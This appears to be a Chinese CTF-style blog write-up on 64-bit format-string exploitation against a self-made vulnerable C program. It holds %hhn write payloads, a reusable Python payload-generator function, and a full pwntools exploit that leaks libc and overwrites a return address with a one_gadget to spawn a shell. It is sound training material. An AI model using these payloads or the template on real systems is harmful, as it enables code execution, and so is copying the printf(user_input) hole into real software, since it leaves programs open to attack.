👴之前打格式化字符串一直都是隨緣,沒有認真總結過,導致前兩天跟n神交流的時候👴被吊打,今天👴抽出來幾個小時整個🔥來總結一下
題目
題目是👴出的
源碼放下面了
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
long long target = 0x1234;
int main()
{
char s[100];
while(1)
{
read(0,s,0x100);
printf(s);
if(target == 0x7ffff7ff7123)
{
puts("ohhhhhh,you change it to be a big number!");
break;
}
if(target == 0x2)
{
puts("ohhhhhh,you change it to be a small number!");
break;
}
else
{
puts("you are not a pwner!!!");
}
}
puts("this is flag: flag{F0rMat_5tr1ng_BY_64_b1T!!!!}");
return 0;
}
逆向分析
放到ida里面是這樣的
解題
借助循環不斷寫入payload
👴一開始思考比較淺,所以👴尋思着從淺入深,先借助循環不斷送入payload,這樣也更簡單(說白了👴就是菜)
覆蓋大數字拿flag
由於是一個while循環,所以可以循環讀入payload,爽辣,待會兒試試一次性讀入payload
因為是64位,p64高位必然有很多0,但是👴不想要被截斷,所以👴就把地址放到了核心寫入的后面
先測格式化字符串的參數,👴尋思這有手就🌟,所以👴直接告訴你是第六個參數
👴只說一個payload的含義方便👴日后復習,👴就是懶🐶
payload = "%35c%8$hhn".ljust(0x10,'a') + p64(target)
含義:向棧上第八個參數的地址寫入35(單字節寫入),剛才雖然👴說了是第六個參數,但是前0x10被👴用來放格式化字串的核心payload了,所以得往后移動兩個參數,即"%8$hhn"
所有的payload如下
payload = "%35c%8$hhn".ljust(0x10,'a') + p64(target)
p.send(payload)
payload = "%113c%8$hhn".ljust(0x10,'a') + p64(target + 1)
p.send(payload)
payload = "%255c%8$hhn".ljust(0x10,'a') + p64(target + 2)
p.send(payload)
payload = "%247c%8$hhn".ljust(0x10,'a') + p64(target + 3)
p.send(payload)
payload = "%255c%8$hhn".ljust(0x10,'a') + p64(target + 4)
p.send(payload)
payload = "%127c%8$hhn".ljust(0x10,'a') + p64(target + 5)
p.send(payload)
可以看到👴隨便寫的flag被輸出了
如果把地址放前面,👴跑了一下,看到payload確實被截斷了,大概長這樣子
50 10 60 00 00 00 00 00 51 10 60 00 00 00 00 00
52 10 60 00 00 00 00 00 53 10 60 00 00 00 00 00
54 10 60 00 00 00 00 00 55 10 60 00 00 00 00 00
覆蓋小數字拿flag
👴尋思這不➡️👋 9⃣️ 🌟
低位改成2,高位直接寫 0⃣️
payload = "%2c%8$hhn".ljust(0x10,'a') + p64(target)
p.send(payload)
payload = "%8$hhn".ljust(0x10,'a') + p64(target + 1)
p.send(payload)
不依賴循環一次性讀入
👴不滿足於依賴👴寫的循環,👴想一次性就把flag給讀出來
覆蓋小數字
先給出payload,👴再來解釋一下
payload = "%2c%9$hhn" + "%254c%10$hhn"
payload = payload.ljust(0x18)
payload = payload + p64(target) + p64(target + 1)
p.send(payload)
%2c沒啥好說的,畢竟target的地位要覆蓋成0x02,然后%254就是因為之前已經輸出2個字符了,那么由於是單字節,會溢出,所以0x100 = 0x00
因為0xff = 255,所以256 = 0,那么寫成254就可以把倒數第二個低字節給改成00力,%9$hhn👴就不說了,👴那么菜👴都知道咋回事,🙏👴以后看到這里還能明白,而不是噴一下當初👴寫的這個文章
覆蓋大數字
原理跟小數字一樣,沒啥好說的,不過是有點兒麻煩,👴需要不斷的gdb.attach,因為中間👴老是算錯偏移
注意單字節溢出原理就彳亍
payload = "%35c%16$hhn" + "%78c%17$hhn" + "%142c%18$hhn" + "%248c%19$hhn" + "%8c%20$hhn" + "%128c%21$hhn"
payload = payload.ljust(0x50,'a')
payload += p64(target) + p64(target + 1) + p64(target + 2) + p64(target + 3) + p64(target + 4) + p64(target + 5)
深入思考
通過不依賴循環讀入payload讓👴感到蹊蹺,因為像是造輪子,👴很不爽,所以👴要總結一套模板,到時候👴直接套
關於%kc的模板確定
一個16進制數是4位,那么右移四位相當於右移一個16進制數,同理右移八位相當於右移一個字節即兩個16進制數
如圖
0x23 = (0x7FFFF7FF7123 & 0xff)
0x71 = (0x7FFFF7FF7123 & 0xff00) >> 8
0xff = (0x7FFFF7FF7123 & 0xff0000) >> 16
0xf7 = (0x7FFFF7FF7123 & 0xff000000) >> 24
0xff = (0x7FFFF7FF7123 & 0xff00000000) >> 32
0x7f = (0x7FFFF7FF7123 & 0xff0000000000) >> 40
所以👴看到一個大數的每個字節都可以用&操作符和>>操作符來表示,那么👴就能把模板給👟出來力
歸納總結發現每一個%kc的形式都遵從如下規律,那么以后的目標如果不是0x7FFFF7FF7123也能輕松寫出來了
low1 = 0x23 = (0x7FFFF7FF7123 & 0xff)
low2 = 0x71 = (0x7FFFF7FF7123 & 0xff00) >> 8
low3 = 0xff = (0x7FFFF7FF7123 & 0xff0000) >> 16
low4 = 0xf7 = (0x7FFFF7FF7123 & 0xff000000) >> 24
low5 = 0xff = (0x7FFFF7FF7123 & 0xff00000000) >> 32
low6 = 0x7f = (0x7FFFF7FF7123 & 0xff0000000000) >> 40
"%35c" : 35 = 0x23 = (0x7FFFF7FF7123 & 0xff) = low1 - 0
"%78c" : 78 = 0x71 - 0x23 = (0x7FFFF7FF7123 & 0xff00) >> 8 - (0x7FFFF7FF7123 & 0xff) = low2 - low1
"%142c" : 142 = 0xff - 0x71 = low3 - low2
"%248c" : 248 = (low4 - low3) + 0x100
"%8c" : 8 = low5 - low4
"%128c" : 128 : (low6 - low5) + 0x100
再進一步用mod的運算法則來推一下,發現都遵從如下規律
"%kc" : k : ((low[n] - low[n - 1]) + 0x100) % 0x100
關於%k$hhn的模板確定
👴覺得這個很簡單
"%16$hhn" : 16 : 格式化字串位置 + (0x50 + 0x0) / 0x8
"%17$hhn" : 17 : 格式化字串位置 + (0x50 + 0x8) / 0x8
總模板
👴覺得可以封裝成一個函數
參數就來圍繞這兩個關鍵點展開
第一個部分是%kc,那么需要🚢入要往目標修改的值,記為after_change
第二個部分是%k$hhn,那么需要🚢入要在哪修改的值,記為target
設計完成后總共六個參數,如下
def format_string_template_64(location_arg,target,after_change,len_other_string = 0,ljust_location = 0x50,bit = 0x6):
'''
第一個參數是格式化字符串的位置,即第幾個參數
第二個參數是要改哪里的值
第三個參數是把想把目標值改成什么值
第四個參數是看看在printf之前還有沒有奇奇怪怪的字符串,比如"fmtstr:",這樣在之后輸入之前要減去len("fmtstr:"),默認是0
第五個參數是ljust填補核心payload之后,讓其0x8個字節對齊,默認是0x50
第六個參數是要覆蓋的位數,默認為6
'''
if bit == 1:
low1 = (after_change & 0xff)
c1 = (low1 - len_other_string + 0x100) % 0x100
location_arg1 = location_arg + ljust_location / 0x8
payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + '$hhn'
payload = payload.ljust(ljust_location,'a')
payload = payload + p64(target)
if bit == 2:
low1 = (after_change & 0xff)
low2 = (after_change & 0xff00) >> 8
c1 = (low1 - len_other_string + 0x100) % 0x100
c2 = (low2 - low1 + 0x100) % 0x100
location_arg1 = location_arg + ljust_location / 0x8
location_arg2 = location_arg1 + 1
payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + '$hhn'
payload = payload + '%' + str(c2) + 'c' + '%' + str(location_arg2) + '$hhn'
payload = payload.ljust(ljust_location,'a')
payload = payload + p64(target)
payload = payload + p64(target + 0x1)
if bit == 3:
low1 = (after_change & 0xff)
low2 = (after_change & 0xff00) >> 8
low3 = (after_change & 0xff0000) >> 16
c1 = (low1 - len_other_string + 0x100) % 0x100
c2 = (low2 - low1 + 0x100) % 0x100
c3 = (low3 - low2 + 0x100) % 0x100
location_arg1 = location_arg + ljust_location / 0x8
location_arg2 = location_arg1 + 1
location_arg3 = location_arg2 + 1
payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + '$hhn'
payload = payload + '%' + str(c2) + 'c' + '%' + str(location_arg2) + '$hhn'
payload = payload + '%' + str(c3) + 'c' + '%' + str(location_arg3) + '$hhn'
payload = payload.ljust(ljust_location,'a')
payload = payload + p64(target)
payload = payload + p64(target + 0x1)
payload = payload + p64(target + 0x2)
if bit == 4:
low1 = (after_change & 0xff)
low2 = (after_change & 0xff00) >> 8
low3 = (after_change & 0xff0000) >> 16
low4 = (after_change & 0xff000000) >> 24
c1 = (low1 - len_other_string + 0x100) % 0x100
c2 = (low2 - low1 + 0x100) % 0x100
c3 = (low3 - low2 + 0x100) % 0x100
c4 = (low4 - low3 + 0x100) % 0x100
location_arg1 = location_arg + ljust_location / 0x8
location_arg2 = location_arg1 + 1
location_arg3 = location_arg2 + 1
location_arg4 = location_arg3 + 1
payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + '$hhn'
payload = payload + '%' + str(c2) + 'c' + '%' + str(location_arg2) + '$hhn'
payload = payload + '%' + str(c3) + 'c' + '%' + str(location_arg3) + '$hhn'
payload = payload + '%' + str(c4) + 'c' + '%' + str(location_arg4) + '$hhn'
payload = payload.ljust(ljust_location,'a')
payload = payload + p64(target)
payload = payload + p64(target + 0x1)
payload = payload + p64(target + 0x2)
payload = payload + p64(target + 0x3)
if bit == 5:
low1 = (after_change & 0xff)
low2 = (after_change & 0xff00) >> 8
low3 = (after_change & 0xff0000) >> 16
low4 = (after_change & 0xff000000) >> 24
low5 = (after_change & 0xff00000000) >> 32
c1 = (low1 - len_other_string + 0x100) % 0x100
c2 = (low2 - low1 + 0x100) % 0x100
c3 = (low3 - low2 + 0x100) % 0x100
c4 = (low4 - low3 + 0x100) % 0x100
c5 = (low5 - low4 + 0x100) % 0x100
location_arg1 = location_arg + ljust_location / 0x8
location_arg2 = location_arg1 + 1
location_arg3 = location_arg2 + 1
location_arg4 = location_arg3 + 1
location_arg5 = location_arg4 + 1
payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + '$hhn'
payload = payload + '%' + str(c2) + 'c' + '%' + str(location_arg2) + '$hhn'
payload = payload + '%' + str(c3) + 'c' + '%' + str(location_arg3) + '$hhn'
payload = payload + '%' + str(c4) + 'c' + '%' + str(location_arg4) + '$hhn'
payload = payload + '%' + str(c5) + 'c' + '%' + str(location_arg5) + '$hhn'
payload = payload.ljust(ljust_location,'a')
payload = payload + p64(target)
payload = payload + p64(target + 0x1)
payload = payload + p64(target + 0x2)
payload = payload + p64(target + 0x3)
payload = payload + p64(target + 0x4)
if bit == 6:
low1 = (after_change & 0xff)
low2 = (after_change & 0xff00) >> 8
low3 = (after_change & 0xff0000) >> 16
low4 = (after_change & 0xff000000) >> 24
low5 = (after_change & 0xff00000000) >> 32
low6 = (after_change & 0xff0000000000) >> 40
c1 = (low1 - len_other_string + 0x100) % 0x100
c2 = (low2 - low1 + 0x100) % 0x100
c3 = (low3 - low2 + 0x100) % 0x100
c4 = (low4 - low3 + 0x100) % 0x100
c5 = (low5 - low4 + 0x100) % 0x100
c6 = (low6 - low5 + 0x100) % 0x100
location_arg1 = location_arg + ljust_location / 0x8
location_arg2 = location_arg1 + 1
location_arg3 = location_arg2 + 1
location_arg4 = location_arg3 + 1
location_arg5 = location_arg4 + 1
location_arg6 = location_arg5 + 1
payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + '$hhn'
payload = payload + '%' + str(c2) + 'c' + '%' + str(location_arg2) + '$hhn'
payload = payload + '%' + str(c3) + 'c' + '%' + str(location_arg3) + '$hhn'
payload = payload + '%' + str(c4) + 'c' + '%' + str(location_arg4) + '$hhn'
payload = payload + '%' + str(c5) + 'c' + '%' + str(location_arg5) + '$hhn'
payload = payload + '%' + str(c6) + 'c' + '%' + str(location_arg6) + '$hhn'
payload = payload.ljust(ljust_location,'a')
payload = payload + p64(target)
payload = payload + p64(target + 0x1)
payload = payload + p64(target + 0x2)
payload = payload + p64(target + 0x3)
payload = payload + p64(target + 0x4)
payload = payload + p64(target + 0x5)
return payload
target = 0x601050
dbg()
# 覆蓋大數字: payload = format_string_template_64(6,target,0x7FFFF7FF7123)
# 覆蓋小數字: payload = format_string_template_64(6,target,0x2,0,0x20,2)
效果:
覆蓋大數字:
ohhhhhhhhhhhhhhhhhh!!!!!!!!!!!
覆蓋小數字:
ohhhhhhhhhhhhhhhhhh!!!!!!!!!!!
更深層次的解題
雖然👴自己寫了flag在里面,但是👴玩的還是不過癮,👴還想getshell
其實👴就是針對強網杯的siri來研究的64位的格式化字符串,那么👴想getshell一點都不過分
所以利用剛才👴寫的模板,針對👴自己出的這個題,👴來getshell
攻擊__malloc_hook來getshell
可以看到用剛才👴寫的模板完全ojbk可以把__malloc_hook給改掉
攻擊返回地址來getshell
也完全可以,妙啊,現在教室要關門了,👴來不及貼圖了,回去之后👴直接打siri
總結過程中的exp
方便👴復習用
# -*- encoding:utf-8 -*-
from pwn import *
local = 1
binary = "./fmt"
libc_path = './libc-2.23.so'
# port = ""
if local == 1:
p = process(binary)
def dbg():
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
def leak_libc(addr):
global libc_base,__malloc_hook,__free_hook,system,binsh_addr,_IO_2_1_stdout_
libc = ELF(libc_path)
libc_base = addr - libc.sym['__libc_start_main']
print "[*] libc base:",hex(libc_base)
__malloc_hook = libc_base + libc.sym['__malloc_hook']
system = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
__free_hook = libc_base + libc.sym['__free_hook']
_IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_']
def format_string_template_64(location_arg,target,after_change,len_other_string = 0,ljust_location = 0x50,bit = 0x6):
'''
第一個參數是格式化字符串的位置,即第幾個參數
第二個參數是要改哪里的值
第三個參數是把想把目標值改成什么值
第四個參數是看看在printf之前還有沒有奇奇怪怪的字符串,比如"fmtstr:",這樣在之后輸入之前要減去len("fmtstr:"),默認是0
第五個參數是ljust填補核心payload之后,讓其0x8個字節對齊,默認是0x50
第六個參數是要覆蓋的位數,默認為6
'''
if bit == 1:
low1 = (after_change & 0xff)
c1 = (low1 - len_other_string + 0x100) % 0x100
location_arg1 = location_arg + ljust_location / 0x8
payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + '$hhn'
payload = payload.ljust(ljust_location,'a')
payload = payload + p64(target)
if bit == 2:
low1 = (after_change & 0xff)
low2 = (after_change & 0xff00) >> 8
c1 = (low1 - len_other_string + 0x100) % 0x100
c2 = (low2 - low1 + 0x100) % 0x100
location_arg1 = location_arg + ljust_location / 0x8
location_arg2 = location_arg1 + 1
payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + '$hhn'
payload = payload + '%' + str(c2) + 'c' + '%' + str(location_arg2) + '$hhn'
payload = payload.ljust(ljust_location,'a')
payload = payload + p64(target)
payload = payload + p64(target + 0x1)
if bit == 3:
low1 = (after_change & 0xff)
low2 = (after_change & 0xff00) >> 8
low3 = (after_change & 0xff0000) >> 16
c1 = (low1 - len_other_string + 0x100) % 0x100
c2 = (low2 - low1 + 0x100) % 0x100
c3 = (low3 - low2 + 0x100) % 0x100
location_arg1 = location_arg + ljust_location / 0x8
location_arg2 = location_arg1 + 1
location_arg3 = location_arg2 + 1
payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + '$hhn'
payload = payload + '%' + str(c2) + 'c' + '%' + str(location_arg2) + '$hhn'
payload = payload + '%' + str(c3) + 'c' + '%' + str(location_arg3) + '$hhn'
payload = payload.ljust(ljust_location,'a')
payload = payload + p64(target)
payload = payload + p64(target + 0x1)
payload = payload + p64(target + 0x2)
if bit == 4:
low1 = (after_change & 0xff)
low2 = (after_change & 0xff00) >> 8
low3 = (after_change & 0xff0000) >> 16
low4 = (after_change & 0xff000000) >> 24
c1 = (low1 - len_other_string + 0x100) % 0x100
c2 = (low2 - low1 + 0x100) % 0x100
c3 = (low3 - low2 + 0x100) % 0x100
c4 = (low4 - low3 + 0x100) % 0x100
location_arg1 = location_arg + ljust_location / 0x8
location_arg2 = location_arg1 + 1
location_arg3 = location_arg2 + 1
location_arg4 = location_arg3 + 1
payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + '$hhn'
payload = payload + '%' + str(c2) + 'c' + '%' + str(location_arg2) + '$hhn'
payload = payload + '%' + str(c3) + 'c' + '%' + str(location_arg3) + '$hhn'
payload = payload + '%' + str(c4) + 'c' + '%' + str(location_arg4) + '$hhn'
payload = payload.ljust(ljust_location,'a')
payload = payload + p64(target)
payload = payload + p64(target + 0x1)
payload = payload + p64(target + 0x2)
payload = payload + p64(target + 0x3)
if bit == 5:
low1 = (after_change & 0xff)
low2 = (after_change & 0xff00) >> 8
low3 = (after_change & 0xff0000) >> 16
low4 = (after_change & 0xff000000) >> 24
low5 = (after_change & 0xff00000000) >> 32
c1 = (low1 - len_other_string + 0x100) % 0x100
c2 = (low2 - low1 + 0x100) % 0x100
c3 = (low3 - low2 + 0x100) % 0x100
c4 = (low4 - low3 + 0x100) % 0x100
c5 = (low5 - low4 + 0x100) % 0x100
location_arg1 = location_arg + ljust_location / 0x8
location_arg2 = location_arg1 + 1
location_arg3 = location_arg2 + 1
location_arg4 = location_arg3 + 1
location_arg5 = location_arg4 + 1
payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + '$hhn'
payload = payload + '%' + str(c2) + 'c' + '%' + str(location_arg2) + '$hhn'
payload = payload + '%' + str(c3) + 'c' + '%' + str(location_arg3) + '$hhn'
payload = payload + '%' + str(c4) + 'c' + '%' + str(location_arg4) + '$hhn'
payload = payload + '%' + str(c5) + 'c' + '%' + str(location_arg5) + '$hhn'
payload = payload.ljust(ljust_location,'a')
payload = payload + p64(target)
payload = payload + p64(target + 0x1)
payload = payload + p64(target + 0x2)
payload = payload + p64(target + 0x3)
payload = payload + p64(target + 0x4)
if bit == 6:
low1 = (after_change & 0xff)
low2 = (after_change & 0xff00) >> 8
low3 = (after_change & 0xff0000) >> 16
low4 = (after_change & 0xff000000) >> 24
low5 = (after_change & 0xff00000000) >> 32
low6 = (after_change & 0xff0000000000) >> 40
c1 = (low1 - len_other_string + 0x100) % 0x100
c2 = (low2 - low1 + 0x100) % 0x100
c3 = (low3 - low2 + 0x100) % 0x100
c4 = (low4 - low3 + 0x100) % 0x100
c5 = (low5 - low4 + 0x100) % 0x100
c6 = (low6 - low5 + 0x100) % 0x100
location_arg1 = location_arg + ljust_location / 0x8
location_arg2 = location_arg1 + 1
location_arg3 = location_arg2 + 1
location_arg4 = location_arg3 + 1
location_arg5 = location_arg4 + 1
location_arg6 = location_arg5 + 1
payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + '$hhn'
payload = payload + '%' + str(c2) + 'c' + '%' + str(location_arg2) + '$hhn'
payload = payload + '%' + str(c3) + 'c' + '%' + str(location_arg3) + '$hhn'
payload = payload + '%' + str(c4) + 'c' + '%' + str(location_arg4) + '$hhn'
payload = payload + '%' + str(c5) + 'c' + '%' + str(location_arg5) + '$hhn'
payload = payload + '%' + str(c6) + 'c' + '%' + str(location_arg6) + '$hhn'
payload = payload.ljust(ljust_location,'a')
payload = payload + p64(target)
payload = payload + p64(target + 0x1)
payload = payload + p64(target + 0x2)
payload = payload + p64(target + 0x3)
payload = payload + p64(target + 0x4)
payload = payload + p64(target + 0x5)
return payload
target = 0x601050
payload = "%21$p"
p.send(payload)
p.recvuntil("0x")
leak = int(p.recv(12),base = 16) - 240
leak_libc(leak)
dbg()
# 覆蓋大數字: payload = format_string_template_64(6,target,0x7FFFF7FF7123)
# 覆蓋小數字: payload = format_string_template_64(6,target,0x2,0,0x20,2)
one_gadget = libc_base + 0xf0364
payload = format_string_template_64(6,leak + 240,one_gadget,0,0x90,0x6)
p.send(payload)
# p.send("%300000c")
# gdb.attach(p)
p.interactive()
######################################################################################################################
# 借助循環不斷讀入payload之覆蓋大數字和覆蓋小數字
'''
覆蓋大數字
0x7FFFF7FF7123 0x23 = 35 0x71 = 113 0xff = 255 0xf7 = 247 0xff = 255 0x7f = 127
payload = "%35c%8$hhn".ljust(0x10,'a') + p64(target)
p.send(payload)
payload = "%113c%8$hhn".ljust(0x10,'a') + p64(target + 1)
p.send(payload)
payload = "%255c%8$hhn".ljust(0x10,'a') + p64(target + 2)
p.send(payload)
payload = "%247c%8$hhn".ljust(0x10,'a') + p64(target + 3)
p.send(payload)
payload = "%255c%8$hhn".ljust(0x10,'a') + p64(target + 4)
p.send(payload)
payload = "%127c%8$hhn".ljust(0x10,'a') + p64(target + 5)
p.send(payload)
------------------------------------------------------
覆蓋小數字
0x2
payload = "%2c%8$hhn".ljust(0x10,'a') + p64(target)
p.send(payload)
payload = "%8$hhn".ljust(0x10,'a') + p64(target + 1)
p.send(payload)
'''
######################################################################################################################
# 不借助循環一次性讀入payload之覆蓋小數字和覆蓋大數字
'''
覆蓋小數字
0x2
payload = "%2c%9$hhn" + "%254c%10$hhn"
payload = payload.ljust(0x18)
payload = payload + p64(target) + p64(target + 1)
p.send(payload)
------------------------------------------------------
覆蓋大數字
0x7FFFF7FF7123 0x23 = 35 0x71 = 113 0xff = 255 0xf7 = 247 0xff = 255 0x7f = 127
payload = "%35c%16$hhn" + "%78c%17$hhn" + "%142c%18$hhn" + "%248c%19$hhn" + "%8c%20$hhn" + "%128c%21$hhn"
payload = payload.ljust(0x50,'a')
payload += p64(target) + p64(target + 1) + p64(target + 2) + p64(target + 3) + p64(target + 4) + p64(target + 5)
'''
######################################################################################################################
# 第一個參數關於%kc的推導過程
'''
0x7FFFF7FF7123 0x23 = 35 0x71 = 113 0xff = 255 0xf7 = 247 0xff = 255 0x7f = 127
payload = "%35c%16$hhn" + "%78c%17$hhn" + "%142c%18$hhn" + "%248c%19$hhn" + "%8c%20$hhn" + "%128c%21$hhn"
payload = payload.ljust(0x50,'a')
payload += p64(target) + p64(target + 1) + p64(target + 2) + p64(target + 3) + p64(target + 4) + p64(target + 5)
low1 = 0x23 = (0x7FFFF7FF7123 & 0xff)
low2 = 0x71 = (0x7FFFF7FF7123 & 0xff00) >> 8
low3 = 0xff = (0x7FFFF7FF7123 & 0xff0000) >> 16
low4 = 0xf7 = (0x7FFFF7FF7123 & 0xff000000) >> 24
low5 = 0xff = (0x7FFFF7FF7123 & 0xff00000000) >> 32
low6 = 0x7f = (0x7FFFF7FF7123 & 0xff0000000000) >> 40
"%35c" : 35 = 0x23 = (0x7FFFF7FF7123 & 0xff) = low1 - 0
"%78c" : 78 = 0x71 - 0x23 = (0x7FFFF7FF7123 & 0xff00) >> 8 - (0x7FFFF7FF7123 & 0xff) = low2 - low1
"%142c" : 142 = 0xff - 0x71 = low3 - low2
"%248c" : 248 = (low4 - low3) + 0x100
"%8c" : 8 = low5 - low4
"%128c" : 128 : (low6 - low5) + 0x100
"%kc" : k : ((low[n] - low[n - 1]) + 0x100) % 0x100
'''
######################################################################################################################
# 第二個參數關於%k$hhn的推導過程
'''
0x7FFFF7FF7123 0x23 = 35 0x71 = 113 0xff = 255 0xf7 = 247 0xff = 255 0x7f = 127
payload = "%35c%16$hhn" + "%78c%17$hhn" + "%142c%18$hhn" + "%248c%19$hhn" + "%8c%20$hhn" + "%128c%21$hhn"
payload = payload.ljust(0x50,'a')
payload += p64(target) + p64(target + 1) + p64(target + 2) + p64(target + 3) + p64(target + 4) + p64(target + 5)
"%16$hhn" : 16 : 格式化字串位置 + (0x50 + 0x0) / 0x8
"%17$hhn" : 17 : 格式化字串位置 + (0x50 + 0x8) / 0x8
'''
######################################################################################################################